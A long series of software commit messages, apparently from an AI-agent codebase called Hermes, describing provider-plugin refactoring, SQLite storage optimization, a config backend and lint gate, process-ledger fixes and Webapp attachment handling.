tests drive every seam through a fake non-Copilot profile.
Found by the L2 parity oracle in the plugin-absent registry state.
Core no longer branches on the Copilot/GitHub Models hosts in the Responses adapter, transports,
reasoning params or reasoning-carrier replay. A provider profile claims its backend through
ProviderProfile.serves_endpoint(base_url) (default False) and fills generic L3 fields/hooks:
responses_replay_item_ids, responses_prompt_cache_key, responses_issuer_kind,
responses_trusts_completed_status, responses_native_compaction, responses_profile_reasoning,
message_carrier_opaque/_text, replays_tool_call_signatures, reasoning_payload(),
replay_message_carriers(), replays_function_thought_signature().

The in-tree copilot plugin fills them from plugins/model-providers/copilot/responses.py, keeping the
persisted "github_responses" issuer stamp and hermes.native_assistant record keys. Persisted carrier
records whose declaring plugin is gone are stripped by their own keys.

Parity: an offline oracle over 2079 Copilot cases (main request kwargs incl. preflight, aux Responses,
carrier shaping/capture, reasoning gate, native compaction) is byte-identical to the base on the agent
paths in both registry states.
Core branched on the Copilot slug/host for four wire decisions. Replace them with
generic ProviderProfile hooks (providers/base.py L1 block) and move the Copilot
logic into plugins/model-providers/copilot/wire.py:

- api_mode_for_model(model, *, api_key=None): run_agent Responses routing, aux
  CodexAuxiliaryClient wrap, model_switch.model_derived_api_mode (copilot rows
  of _PROVIDER_API_MODE_OVERRIDES removed).
- client_headers(*, base_url, api_key, has_images): agent_init/_client_lifecycle
  host tables, the client-kwargs chokepoint guard (_ensure_route_client_headers),
  the image request-client header swap, both aux header branches.
- request_headers(*, base_url, model, user_initiated): first-call-of-a-user-turn
  attribution in turn_api_request and MoA reference slots.
- max_tokens_param(*, base_url, model): run_agent._max_tokens_param and
  auxiliary_max_tokens_param.

agent/provider_route_hooks.py asks the named provider's profile first, then any
registered profile overriding the hook, so custom routes at a provider's host
keep its quirks. Plugin absent = generic behaviour.
`hermes sessions optimize-storage` printed only "Reclaiming old index…" for the whole
teardown (9+ minutes per shadow table on a 16 GB store), nothing at all during the
VACUUM, and a garbled "Rebuilding index: 100% (0/0)8,500/1,958,548)" line when a shorter
update overwrote a longer one.

It was also idle most of the time: every 500-row chunk was followed by
max(0.2 s, 4x chunk cost) of sleep. That duty cycle (#65798) let a live gateway take
the write lock between chunks, but the only driver of these steps is the foreground
CLI, which since #110054 refuses to run while any other process holds state.db
(held_store_refusal). There is no writer to yield to, so the sleeps were pure dead time
(>95% of the teardown, ~80% of the backfill).

- Backfill/teardown chunks run back to back; chunk size adapts toward ~0.25 s per
  transaction (bounded WAL growth, resumable, a progress tick each), since one row
  costs ~1000x more in trigram_data than in docsize.
- Teardown reports table k/n and rows drained / rows left (one COUNT per table on
  the reader); VACUUM reports elapsed time every second plus size before → estimated
  size after.
- The CLI draws one self-overwriting, space-padded line per phase/table (no ESC[K).
- Drop the test fixture that zeroed the removed throttle constants.
Review round on #144630:

- CI: the VACUUM size probe read PRAGMA page_count/freelist_count under the
  writer lock (TestNoPureReadersUnderWriterLock); it now reads on the pooled
  reader, only when a progress callback exists.
- Progress state is typed: _TeardownProgress (owned by the teardown step, which
  now picks the table, counts it on the reader and deletes in one place) and
  _VacuumProgress. _drive's before/**step_kwargs hooks and the duplicate trash
  lookup are gone.
- Backfill windows are the next N messages (LIMIT 1 OFFSET N-1 bounded by the
  high water), not N ids: an id gap no longer ramps the window to 1M ids (gap
  store: worst chunk 6.6 s -> 0.39 s). Max rows 1M -> 100k (dense trigram_data
  teardown chunk 0.22 s at the cap). Each trash table restarts at 500 rows.
- Step engines no longer swallow OperationalError into "more work"; the drive
  loop retries a failing chunk 3 times (lock failures already waited out
  _execute_write's patience) and then raises, so SQLITE_FULL ends the run with
  "No data was lost. Re-run to resume." instead of spinning.
- --force past a live holder (start-up scan finds one) passes
  yield_to_writers: chunks near 50 ms plus max(0.2 s, 4x cost) pause, so the
  holder's writes are not starved (writer p50 0.012 s, max 0.17 s). The
  foreground default stays pause-free.
- VACUUM ticker is built only with a callback, via copy_context().run (HX012)
  instead of importing agent.memory_provider into the storage layer; each
  table's 100% line is drawn once; Ctrl-C prints "Interrupted — no data was
  lost; re-run to resume." (exit 130) instead of a traceback.
A COUNT that failed once left the new table published on the progress
state, so the retry skipped the start step and the table inherited the
previous table's totals (shown as 10,726/2,726). Count first, publish the
table last. The backfill counter is id-based, so drop the "messages"
label that misread on pruned stores.
Review round (@yoniebans) on #144630:

- Pacing was decided once at start, so a writer that opened state.db after the
  run began (Desktop launched, gateway restarted) only got in through SQLite's
  own gaps (one append waited 16.7 s with wal_autocheckpoint=0, next to
  _execute_write's 20 s patience). _HolderWatch re-runs the same foreign-holder
  scan the held-store refusal and --force use (foreign_state_db_holders, ~15 ms)
  every 2 s on a side thread (copy_context, HX012); the chunk loop reads the flag
  and switches to the paced cycle (~50 ms chunks + max(0.2 s, 4x cost) pause)
  while a holder is there, back to unpaced when it leaves. A quiet run still
  never sleeps. The CLI's one-shot scan and yield_to_writers go away; progress
  lines say "paced: another process is using the database".
- A failed run (chunk kept failing, or "Could not optimize") now returns 1.
- Backfill progress counts messages (rows each window covered, total = rows at or
  below the high water), not ids: a 100k id gap no longer reads 0% then 99%.
- The CJK backfill gets its own phase/line ("Building CJK index") instead of
  overwriting the base pass's line with a lower percent.
- Teardown skips the per-table COUNT(*) when no progress callback is registered.
- Tests build the legacy store with both inline indexes (base + trigram), so the
  trigram rebuild and all 10 reclaimed tables run; exit code 1 is asserted in the
  disk-full test; one new test covers a holder appearing mid-run.
From an independent re-review of the mid-run pacing change:
- The pre-backfill message count walked the messages table by rowid
  range: 73 s cold on a 1.97M-message store with nothing printed, the
  symptom this PR fixes. +id lets the planner count from a covering
  index (1.9 s cold).
- A writer that appeared mid-run was still locked out by the
  minutes-long VACUUM. VACUUM is skipped while another process holds
  the store (vacuumed=False, vacuum_skipped=in_use) with a message to
  re-run when it is closed.
- The "Not enough free disk" refusal exits 1, like the other failures.
# Conflicts:
#	plugins/model-providers/copilot/__init__.py
#	providers/base.py
# Conflicts:
#	agent/auxiliary_client.py
#	agent/client_lifecycle.py
#	plugins/model-providers/copilot/__init__.py
# Conflicts:
#	plugins/model-providers/copilot/__init__.py
#	providers/base.py
# Conflicts:
#	hermes_cli/model_setup_flows.py
#	hermes_cli/web_server_lifecycle.py
#	plugins/model-providers/copilot-acp/__init__.py
#	plugins/model-providers/copilot/__init__.py
cancelRun() (Stop, and "send now" on a queued message while busy) called
resetSessionBackground(), which issues process.kill for every running
background process in the session. A plain interrupt keeps the timeline,
and the gateway's session.interrupt deliberately leaves
terminal(background=true) processes running, so the renderer was killing
work the backend contract says must survive (e.g. a dev server started
several turns earlier).

- cancelRun: drop resetSessionBackground().
- reloadFromMessage (regenerate): it truncates history through
  prompt.submit just like restore/edit, but never reset background state,
  so processes spawned by the discarded turns stayed live. It now clears
  todos, resets background (killing running processes) and clears preview
  artifacts before the re-run, matching restoreToMessage / editMessage.

Tests (use-prompt-actions/index.test.tsx): cancelRun sends
session.interrupt and no process.kill and the running row survives;
reloadFromMessage and restoreToMessage kill the running process and clear
the rows. The cancel and reload cases fail on main and pass with this change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Ctrl+C, Esc, the Desktop/TUI Stop button, a message that interrupts and
an ACP cancel end the current turn. They also called
async_delegation.interrupt_for_session, so every background subagent the
session had dispatched died with the turn: one Ctrl+C took down a running
/review and both of its sub-reviewers. A background subagent is
independent of the chat that spawned it (Teknium ruling), so a turn stop
now hard-cancels only the turn:

- gateway SessionAuthority.interrupt (Desktop, Ink, classic CLI view,
  ACP-through-gateway, messaging interrupts, api_server run cancel)
- tui_gateway session.interrupt (legacy Desktop/TUI stop)
- acp_adapter cancel

The explicit /stop command still ends them (CLI and Ink process.stop,
gateway /stop busy and idle paths), and so does closing or resetting the
session. Reverses the turn-stop half of b71359066c and 659e55ac71;
tests/gateway/test_canonical_stop_hard_cancel.py now pins the delegation
surviving a canonical Stop.
cancelRun dropped every subagent row (clearSessionSubagents), on the
assumption that Stop cancels them all. Stop now ends only the turn, so it
prunes finished rows and keeps running/queued ones; the stopped turn's own
children leave with the next roster snapshot. Without this a surviving
background subagent vanished from the Subagents frame until the next 5 s
poll brought it back.
index.test.tsx sits over the file-size ratchet; the interrupt-vs-rewind
suite lives in index.background-interrupt.test.tsx instead.
Add hermes_cli/config_backend.py (config-config design §4.1, D10/D11): a
ConfigBackend protocol, the FileBackend (today's behaviour), selection by
HERMES_CONFIG_BACKEND only (default file; 'remote' and unknown values fail
closed with ConfigBackendUnavailable), and path-level helpers
(read_config_doc, read_config_doc_readonly, config_version, config_exists,
write_config_key, write_config_document, supports_file_tooling).

Migrate every direct reader/stat/exists/bypass writer of a user config.yaml
to the helpers (config.py loaders + caches, config_effective, env_loader,
gateway, TUI, CLI watchers, cron, tools, profiles, logging, time). File
tooling (config edit, backups, xAI migration rewrite, raw dashboard editor)
checks supports_file_tooling() first; migrations skip write-back without it.

Add scripts/check_config_yaml_readers.py (CI lint next to the writers gate)
that rejects a direct read of a config path outside the backend.
hermes_cli/left_core_migration.py (new on main) parsed config.yaml directly;
the reader gate flagged it after the rebase onto daefc2b735.
The reader gate only bound plain `name = <config path>` assignments and never scanned pm/, so
direct local-file reads still passed it: `env_path, config_path = ...` then
`config_path.exists()` in tools/send_message_tool.py, and pm/plugins_state.read_home_selection
reading config.yaml with read_text().

The gate now binds tuple-unpacked elements, `self.<attr>` targets and for-loop targets; flags
unbound `Path.<method>(p)`, shutil copies and pm's byte readers (read_bytes_or_none,
file_digest); and scans pm/.

Routed through the backend: send_message_tool's missing-config check and
read_home_selection (same FileNotFoundError / OSError / YAMLError -> ValueError contract).
Marked as file tooling: pm's byte-level compare-and-swap publication/eviction rewrite and the
LKG backup copy, which operate on the local file itself.

Known limit: bindings flow into nested scopes, not across sibling methods, so a `self.x` bound in
`__init__` is not tracked in another method (pm/publication.PluginSelection.publish).
The version-stamp read moved to config_version_stamp.py in the rebase, leaving config.py
importing config_exists with no caller (ruff F401). Also drop a DEFAULT_TREES membership
assert that rode inside every parametrized binding-form case.
update_channel now writes through hermes_cli.config_backend, so the CI
classifier lists it as an update dependency. The MoA transient-read test
patched hermes_cli.config.fast_safe_load, which the seam no longer calls;
it now patches utils.fast_safe_load, the parser the FileBackend uses.
AGENTS.md + hermes_cli/AGENTS.md now has a 30,000-char chain cap
(scripts/ci/check_agents_md_size.py, new on main), and main's chain was
already at 29,982. The bullet becomes a one-line pointer.
CI on the salvage was red on the code-health ratchet (over-cap facades grew; two blind excepts)
and on the pm observer fixture, whose isolated source tree carries pm/ + hermes_cli/ but no utils.

- config_backend imports become module-level in the facades (it imports only stdlib); gateway,
  auth and telegram take config_exists through the hermes_cli.config import they already have.
- Pure helpers move to topical siblings, offsetting the growth: _csv_or_list_to_set ->
  gateway/run_common.py, the dotted config-path pair -> hermes_cli/backup_restore.py, the
  voice/timezone/web-backend checks -> hermes_cli/config_value_checks.py, _load_config_dict ->
  hermes_cli/profile_memory_config.py (both callers are memory-provider code).
- _load_config_dict catches YAMLError/OSError/UnicodeError instead of Exception.
- _load_config_cache_hit probes readability with config_backend.probe_config_readable (a 1-byte
  read through the backend's open) instead of a full parse plus a blind except.
- pm/plugins_state.read_home_selection checks config_exists before importing the YAML stack, so
  a home with no config never needs utils.
- developer-guide/config-backend.md describes this build (file backend only).

Same approach as @benbarclay's 74421be709 in #122509, which does not cherry-pick onto current main.
- get_config_backend(): a shell HERMES_CONFIG_BACKEND that the launch home's .env (or managed
  .env) overrides no longer refuses at import time. hermes_cli.config reads config before
  load_hermes_dotenv() runs, so the selector applies those layers in the same order before refusing.
- _route() returns (ConfigBackend, home) for every path: explicit non-home files are served by
  _ExplicitFile, a FileBackend bound to that path, so the helpers call one interface instead of
  branching on an is_layer flag.
- config.get mtime: derived from the backend's opaque version (file backend unchanged: seconds
  from st_mtime_ns; other versions: a stable non-zero crc32).
- The profile roster's config-model cache keys on config_version(), not a local stat; the
  cache moves to hermes_cli/profiles_cache.py (keeps profiles.py under its cap).
- check_config_yaml_readers: catches io.open / builtins.open / os.open and path keywords
  (open(file=p)); scripts/check runs it locally as config-readers.
Two regressions from earlier commits on this branch, caught by CI's Python tests:

- 8d7bff7615 dropped `get_plugin_oauth_auth_status` from hermes_cli.auth's imports as unused, but
  `_STATUS_BY_AUTH_TYPE` dispatches oauth_device_code / oauth_external plugin providers through
  `globals()[name]`, so every OAuth plugin provider's status raised KeyError
  (test_plugin_provider_picker_residue). Restored with a noqa naming the dynamic lookup.
- 7131eadb77 registered scripts/check_config_yaml_readers.py as the `config-readers` guard, but the
  code-health CLI tests copy only the listed guard scripts into their temp repos, so the installed
  hooks failed on the missing script. Added it to the fixture's _GUARD_SCRIPTS.
- pm read_home_selection: only a missing config.yaml means "no config". A symlink loop or
  permission error used to look like "no file" (config_exists is Path.exists), so PM published a
  dependency generation without that home's plugins; it now refuses like any unreadable config.
  The stat runs before the YAML stack (FileBackend.version_path stats before importing utils),
  so PM's bare runtime tree still needs no YAML for a home without config.
- check_config_yaml_readers: alias bindings iterate to a fixed point instead of two passes, so
  `first = home / "config.yaml"; second = first; third = second` binds `third` too.
- ConfigIssue/_issue move to hermes_cli/config_issues.py, imported by the facade and its check
  siblings, so config_value_checks.py / config_home.py no longer import the facade at all.
Creating a symlink on Windows needs admin or developer mode; the scenario (a self-referencing config.yaml link) is POSIX behaviour, so the test runs on the Linux and macOS lanes per tests/AGENTS.md.
Rebasing onto current main brought in direct config.yaml readers that the
seam's reader gate (scripts/check_config_yaml_readers.py) now rejects:

- gateway/session_config.py: the session `config.get mtime` getter uses
  config_exists/config_version + the TUI's _version_token, like
  tui_gateway/methods_config.py already does.
- hermes_cli/profiles.py: _strip_multiplex_flag checks config_exists.
- hermes_cli/config_backups.py: the byte comparison sits inside the
  supports_file_tooling()-gated block; marked like its siblings there.
- hermes_cli/update_receipt.py: _bare_collection_enabled runs in the bare
  bootstrap interpreter with no config stack; presence stat marked.

Main also turned on UP006/RUF100/B009 since the branch base: builtin
generics in the seam's new modules, stale noqa comments dropped, and the
newly unused typing imports removed.
load_hermes_dotenv() loads the launch home's .env with override, so a
`HERMES_CONFIG_BACKEND=` line replaces a shell `remote` with "" (the file
default). The pre-dotenv selector used `override or kind`, which dropped
that empty override and refused to start, where the process after the
dotenv load would run on the file backend. Apply any override that is
present (not None), then treat "" as file.
`_load_config_dict` replaced main's `profiles._load_yaml_dict` (any
Exception -> None) but caught only YAMLError/OSError/UnicodeError. The
YAML constructors raise a bare ValueError for values such as
`2024-02-30` or `!!int abc`, so a clone of such a profile printed a
traceback from `hermes profile create` after the profile was already
made. Catch ValueError (which also covers UnicodeDecodeError).
ConfigBackendUnavailable still propagates: it is a SystemExit.
Review of the rebased stack found the same "version, or None when the
config is absent" shape written out at three call sites
(`config_version(p) if config_exists(p) else None`), a private
try/except copy of it in profiles_cache, and the gateway importing the
TUI's private `_version_token` from tui_gateway.methods_config.

- config_backend gains `config_version_or_none()` (one backend call, no
  exists-then-stat race) and `version_token()`, moved from
  tui_gateway/methods_config.py unchanged.
- tui_gateway (methods_config, server), the classic CLI config watcher,
  gateway/session_config and the profile roster cache use them;
  profiles_cache drops its private copy.

No behaviour change: same version tuples, same numeric token.
- gateway/config_loader.read_yaml_layers was the only production caller
  that reached into the backend object (get_config_backend(),
  backend.exists(home), backend.read_user_layer(home).doc). It now uses
  config_exists/read_config_doc like every other reader; same backend
  calls underneath, so the protocol stays internal to config_backend.
- xai_retirement hand-rolled `if not supports_file_tooling(): raise
  ConfigBackendUnavailable(...)`, which is require_file_tooling().
- The environment-variable reference had no row for HERMES_CONFIG_BACKEND,
  a selector that stops Hermes at startup when set to anything but
  `file`. Added, with where it is read from and a link to the developer
  guide.
- hermes_time called the config backend module "dependency-free"; its
  file backend imports utils. Say what the fallback actually does.
Round-2 review of the fold found three more hand-written copies of the
helper the previous commit made public: the classic CLI config watcher
(exists check + try/config_version/except OSError, every 5 s; it compares
against the `_config_sig` the TUI mixin now seeds with the helper), the
MoA preset cache stamp, and skill_utils' raw-config cache key. Same
results, one stat fewer per watcher tick. The version_token test now
also asserts that the token changes when an opaque version changes.
stamp_missing_config, the left-core toolset conversion and the auto-prune
answer now go through the config backend seam; setup_agent_import's
before/after byte snapshot of a child import run is marked as a local-file
change check.
The seam had a selector and reserved members that nothing in this PR
uses: HERMES_CONFIG_BACKEND accepted only `file` (every other value
exited), the .env override existed only to decide when to refuse,
UserLayer.locks/provenance and ConfigBackend.locked() were always empty,
and the supports_file_tooling()/require_file_tooling() checks at ten
file-copy sites were always true. All of it is for the remote backend
(#122509), so it lands there with the code that makes it real.

get_config_backend() now returns the file backend. The env var, its
docs row, the dotenv override, ConfigBackendUnavailable and the
file-tooling gates are gone, with the tests that covered them. The
explicit-file routing test now proves a non-config.yaml path never
consults the backend.

probe_config_readable() calls a probe_readable() protocol method
instead of an isinstance(FileBackend) check, and version_token()
documents how it treats an int-led version.
Main's multiprofile raw-config cache tests (932b20df09, 180ab5e20c)
patched skill_utils.yaml_load; _load_raw_config now parses through the
config backend (utils.fast_safe_load on the open file), so the patch
never fired and the counts read 0. Same assertions, patched where the
parse now happens.
- tui_gateway _load_cfg_raw: only FileNotFoundError means "no config".
  config_version_or_none folded every stat error into None, so after a
  cached absent config a transient EACCES matched the cached {} and the
  next config.set could save it over the now-existing file. Any other
  stat error is a FailedConfigRead again, which _save_cfg refuses.
- ConfigBackend.read_user_doc replaces read_user_layer/UserLayer: no
  caller used the version it stat'ed on every uncached read; cached
  loaders already ask config_version first.
- Reader lint scopes follow Python: a self.<attr> bound in one method is
  seen by every method of the class, and a comprehension's target no
  longer leaks into the enclosing function. The class rule found
  pm/publication.py's compare-and-swap re-read of self.path, now marked
  like its twin in __init__.
- providers.profile_for_host is the single host->profile lookup (declared hostnames, exact or
  subdomain), memoized per (hermes_home_key, host, metadata) and invalidated by a registry
  generation counter bumped on every registration (process-wide or per-home layer).
- agent/provider_route_hooks.route_profiles = named profile, then profile_for_host(base_url);
  replaces L1's every-profile scan, L2's conversation_loop._credential_refresh_profile host scan
  and L3's agent/endpoint_profile.py + ProviderProfile.serves_endpoint (deleted).
- Copilot hostnames gain models.github.ai (the L3 Responses/reasoning gate host); per-site
  differences (carriers, editor headers, initiator) stay in the plugin hooks keyed on base_url.
- Pure per-request hooks (request_headers, max_tokens_param) are memoized per argument set so a
  plugins.isolation: host proxy pays one IPC call per request shape.
- hermes_cli/models.py: delete _should_use_copilot_responses_api / copilot_model_api_mode;
  runtime_provider routes per-model providers through api_mode_for_model generically.
- credential_refresh_notice seam restores main's Copilot refresh status lines.
- auth._env_key_auto_detected: ambient-credential check reads list_providers once instead of a
  per-pid get_provider_profile miss that walked the provider ladder (welcome_trial regression).
- auxiliary_client: the catalog-unavailable fallback of _builtin_provider_present
  no longer lists copilot/copilot-acp; a registered profile (canonical name) whose
  credentials the anonymous custom downgrade cannot carry (ambient_credentials or
  auth_type external_process) keeps its identity. Comments reworded generically.
- agent_runtime_helpers: the ack detector's "on <provider>( via acpx)" transition
  cue matches any registered provider name or alias instead of a hard-coded one.
- message_metadata: UNPRICED_REPLAY_FIELDS becomes unpriced_replay_fields(), the
  core carriers plus every declared ProviderProfile.message_carrier_* key
  (resolved lazily); model_metadata resolves it once per message.

Same answers for every Copilot input with the in-tree plugin present.
Nothing in production called them. Their tests now pin the owners of the
behaviour with the same inputs and assertions: the copilot profile's
request_headers (x-initiator hosts) and providers.profile_for_host (host-anchored
identity), in tests/plugins/model_providers/test_copilot_hosts.py.
providers/base.py auth_type values and the client-construction hook's pointer
(now the model-provider plugin developer guide), gateway/session_cli_turn.py and
tools/schema_sanitizer.py comments no longer name a specific provider.
The core PROVIDER_REGISTRY rows and alias-map rows for copilot / copilot-acp are
deleted; the plugin->registry mirror (auth_plugin_providers) now supplies them
from the profiles, so with the plugin absent copilot is an unknown provider and
GH_TOKEN can no longer auto-detect it.

Generic profile fields (providers/base.py, I2-auth block) fill the slots the
mirror lacked:
- registry_auth_type: row auth_type when credentials resolve differently from
  the setup flow auth_type names (copilot: "copilot" flow, api_key row)
- base_url_env_var: base-URL override env var not listed in env_vars
- registry_after: keep the row's place in priority-ordered scans (aux api-key
  chain, env auto-detect)

The mirror also writes alias keys pointing at a plugin's row; scans now see each
provider once (canonical_registry_rows): env auto-detect (an ambient plugin was
auto-detected through its alias key), `hermes auth list` / provider pickers, and
credential_lifecycle env-var -> provider mapping (seeded pools under alias names).

DEFAULT_GITHUB_MODELS_BASE_URL / DEFAULT_COPILOT_ACP_BASE_URL had no other users;
the plugins carry the literal base URLs.
hermes_cli/models.py no longer carries any Copilot code (2977 -> ~2640 lines): the live /models
catalog + caches, context windows, id normalization + alias table, reasoning-effort helpers,
catalog-token fallbacks and editor headers move to plugins/model-providers/copilot/catalog.py;
the copilot-acp session memo moves to plugins/model-providers/copilot-acp/catalog.py. The curated
copilot / copilot-acp rows leave models_catalog_static.py.

Core reaches them through generic ProviderProfile seams (providers/base.py, I2-cat block):
- picker_catalog(force_refresh): a provider-owned picker catalog, tried in the slot of a built-in
  _PROVIDER_CATALOG_FETCHERS row (presence = a live source, so the static tail stays a placeholder)
- static_models: curated ids registered as the provider's core static-catalog row
  (sync_plugin_provider_catalog), so detection/defaults/validation keep seeing them
- probe_models(base_url, api_key, timeout): probe_api_models asks the host's profile
  (profile_for_host, metadata hosts included) before the generic HTTP probe; the dead
  api.githubcopilot.com header branch behind the old early return is gone
- invalidate_catalog_cache(): /model --refresh drops provider-owned memos
- catalog_credential_files: credential files folded into every cached catalog's fingerprint
  (same slot/order as before, so fingerprints are byte-identical)

Plugin callers import from .catalog; tests re-targeted (patch.object on the plugin modules),
plugin-only test files moved under tests/plugins/model_providers/.
picker_catalog serves provider_model_ids (None falls through to fallback_models), static_models
registers a static-catalog row, probe_models answers its own endpoint and declines others,
--refresh invalidates profile memos, catalog_credential_files re-key cached catalogs.
The Copilot rows in the picker catalog (CANONICAL_PROVIDERS, PROVIDER_GROUPS,
model-catalog aliases, _AGGREGATOR_PROVIDERS), the providers-layer overlays
(HERMES_OVERLAYS, _ALIAS_GROUPS, _LABEL_OVERRIDES) and the models.dev id map
become generic ProviderProfile fields the copilot / copilot-acp plugins set:

- picker_after: the row lands after that slug (order in `hermes model` kept)
- picker_group: (group_id, label, description) fold in interactive pickers
- catalog_aliases: profile aliases also normalize in the model catalog
- aggregator: joins _AGGREGATOR_PROVIDERS at sync time
- provider_overlay: HermesOverlay fields for the models.dev-keyed definition
  (hermes_overlays() merges them; normalize_provider/get_provider read them)
- models_dev_id (existing): read at lookup time by models_dev_id_for /
  models_dev_provider_map, never merged into PROVIDER_TO_MODELS_DEV

The picker's copilot live-catalog branch was equivalent to the generic one
and is dropped; the dead "copilot" auth type leaves _ACCOUNTS_AUTH_TYPES.
# Conflicts:
#	hermes_cli/models_catalog_static.py
#	plugins/model-providers/copilot-acp/__init__.py
#	plugins/model-providers/copilot/__init__.py
#	providers/base.py
# Conflicts:
#	plugins/model-providers/copilot-acp/__init__.py
#	plugins/model-providers/copilot/__init__.py
#	providers/base.py
A srcdoc document takes its parent's base URL, here the wrapper's blob: URL, so href="#sec" resolved to blob:...#sec and the opaque-origin frame could not navigate. A page without its own <base> now gets <base href="about:srcdoc">, inserted after any leading doctype so the page keeps standards mode. The sandbox and attribute escaping are unchanged.
The aux alias table read only the core alias map, and the api-key chain walked
every PROVIDER_REGISTRY key, including the alias keys the plugin mirror adds.
With provider rows supplied by plugin profiles, read the merged alias map and
scan canonical rows so each provider is tried once, under its own id.
After the auth registry rows moved to the plugin mirror, the alias keys the mirror
adds made a provider-declared overlay look like a lossy collapse, so "copilot" and
"github-copilot-acp" resolved through the bare registry rung (wrong transport,
lost base-URL env var). Rows that all share the overlay profile's own row now
keep the built-in chain. Which names reach the overlay is declared by the new
overlay_aliases field instead of every profile alias, matching the old alias groups.
A <base> inserted before <html><head ...> opened an implicit head, so the parser ignored the authored <head> start tag and dropped its attributes (a page reaching document.getElementById on its head threw). The base now goes right after the page's <head> start tag, else its <html> tag, else after a leading doctype.
The spawn ledger records psutil's epoch create_time, which on Linux is the
kernel's start ticks plus the /proc/stat btime psutil re-reads on every call.
An NTP or VM-resume step of more than 2 s therefore made a live gateway fail
its own ledger match: the scratch prune disowned it and killed the shell it
ran inside an idle scratch entry, then deleted the entry.

Ledger entries now also carry boot_start / spawner_boot (seconds since boot,
Linux only) and every ledger comparison uses them exactly when present. Older
epoch-only entries keep the 2 s match, except that readers protecting a
process (ledger pruning, the scratch prune's owner check, the data-cleanup
holder refusal) treat a live pid's epoch mismatch on Linux as unprovable
instead of dead, and spawner_is_dead never calls an epoch-only spawner dead
under a boot-stamped child. gateway.status's /proc start-ticks parse reads
bytes after comm's last ")" so a comm with spaces or non-UTF-8 bytes no
longer falls back to the clock-dependent psutil epoch.
verified_only is positive identity (update scope home, shared-profile
warning): a clock step only withholds that proof, so it stays the exact
epoch match main pins in test_warning_rejects_reused_or_unverifiable_process_identity.
Review findings on #144757:

- Stale entries match another boot: boot_start/spawner_boot restart at every
  boot while the spawn ledger survives reboots, so a pre-reboot entry whose
  pid and start tick equal a process of the new boot passed as that process
  and reap_orphaned_mcp_helpers SIGTERMed the stranger. Entries now record
  the kernel boot_id next to the ticks (read once per process); the ticks
  are exact proof only when it equals the running boot's id, an entry from
  another boot matches nothing alive (its spawner reads as dead, as the
  epoch match says), and no ticks are written when the boot id is unknown.
- Exited backends block cleanup: for an old epoch-only entry the clock-step
  leniency (keep_unprovable) accepted a zombie because psutil.pid_exists
  stays true until the parent reaps it, so _refuse_backend_writers refused
  cleanup after the backend exited and _append_entry kept the dead row. The
  leniency now applies only to a running, non-zombie pid.
Review round 2 on #144757 (finding: old entries protect a reused pid):
entries without boot ticks (written before upgrade, or where boot_id is
unreadable) got clock-step leniency through entry_still_running's
keep_unprovable path, so a serve entry whose pid a live unrelated process
had reused was never pruned by _append_entry, and
data_cleanup_holders._refuse_backend_writers refused cleanup until that
stranger exited; main proceeds and prunes the row.

Clock-step immunity now comes only from boot ticks recorded in the running
boot. Removed keep_unprovable and _step_can_explain_mismatch, including the
spawner_is_dead leniency (an epoch-only spawner whose pid a stranger holds
now reads as dead, as on main, so its orphaned MCP helper is reaped).
Old-format entries keep main's epoch match until their processes restart
and rewrite them.
A live profile pick in the Webapp records the profile in the tab's
?profile= with history.replaceState(null, ...), which wiped
react-router's HashRouter entry state (idx, key and navigation state) for
the current entry, so later back/forward deltas and that entry's location
state were lost.

profile.remember now passes the current history.state through and only
changes the URL.

Refs #93508 (review P3)

(cherry picked from commit 8c245c6f1133d3c2bf33e46c11472660e4730212)
With no session open, the sidebar's session.active_list poll goes out on
the active socket and names no profile. A profile picked on top of the
shared primary socket (a Webapp tab's live pick or ?profile= boot, a
native global remote) is only a view of that socket, so the gateway
answered for its own profile and the sidebar dots showed that profile's
turns instead of the selected one's.

The poll now names the selected profile when the active connection is
sharedPrimary and no session is open. With a session open the request is
unchanged: the session RPC dispatcher still routes it to the session's
owner.

Refs #144648 (WA-10)
Refs #144705
A reconnect re-resolves the socket's own route and republishes the
primary's descriptor (sharedPrimary false), while the picked profile stays
selected. The no-session live-status poll read only that descriptor, so it
went back to asking the launch profile.

When the published remote descriptor isn't the selected profile's own, the
poll now asks main for the selected profile's route with the same check
requestGatewayForProfile routes by (sharedPrimaryRoute, now exported). With
a session open, or on a local descriptor, it asks nothing new and sends
what it sent before.

Refs #144648 (WA-10)
Native local profiles share the primary socket too (multiplex-only routing,
case 6). A primary reconnect republishes the primary's own unflagged local
descriptor while the picked profile stays selected, and the local-mode
shortcut then sent an unnamed poll answered for the launch profile. Drop the
shortcut: any descriptor that isn't the selected profile's own asks main for
the selected profile's shared route. The selected profile's own descriptor
still sends {} with no extra call.
In the browser Webapp, a folder dropped on the composer (or the chat area,
or a message being edited) showed a copy cursor, attached nothing and said
nothing.

The browser bridge has no host path for a dropped File, and the drop
extractor discarded a directory without one before any composer saw it.

The extractor now keeps a path-less folder with its File, so it takes the
same attach pipeline as other unsupported drops. Staging refuses it with
a reason ("Folders can't be attached by dropping them. Use Attach >
Folder… instead."), shown as the usual "Could not attach <name>" drop
warning in the composer and as an error toast in the edit composer. A
folder never takes the image path. Folders with a path (Electron) still
become @folder: refs.

Refs #93508 (review P3)

(cherry picked from commit 52f0b3fadceda6f11cca9644a8af5351051eb358)
A drop on the composer warned about a failed item only when nothing in the
drop attached, and then only about the last failure. In a mixed drop (a
file that stages plus a folder, or a file over the upload limit) the
failed items vanished without a word.

attachDroppedItems now collects every failure and shows them in one
"Drop files" warning whenever any item failed, alongside the chips for
the items that did attach.

Refs #144648 (WA-1)
Refs #144704
In the browser, a picked or dropped file over 16 MiB went to
/api/chat/file-upload and came back as "Upload request is too large",
which doesn't say what the limit is. A picked image over the limit showed
nothing at all: pickImages left the rejected pick as an unhandled
rejection.

The browser keeps its 16 MiB limit. Native Desktop's 25 MiB is the cap on
/api/chat/image-upload, but a browser send reads a staged file back
through /api/fs/read-data-url, which stops at WEBAPP_ATTACHMENT_MAX_BYTES
(16 MiB), so a larger image could never be sent. stageBrowserFile now
refuses a file over the limit before uploading it, with a message that
names the limit, and pickImages reports a refused pick as an "Image
attach failed" error.

Refs #144648 (WA-2)
Refs #144704
A drop of many failing items joined every failure into one toast message, which grows off screen because the message body does not scroll. Name the first three, count the rest with a localized 'and N more', and keep the full list in the notification's collapsible detail, which now scrolls inside its height cap.
use-composer-actions.test.ts had grown past 1,000 lines. The three drop-warning tests (rejected folders, failed uploads, the bounded large-drop warning) move unchanged into use-composer-actions.drop-warnings.test.ts.
The oversize reason carried the filename, so a name of about 150 characters pushed it past readableError's 180-character cap and the drop warning lost the limit. The reason no longer includes the name; the drop warning already adds it.
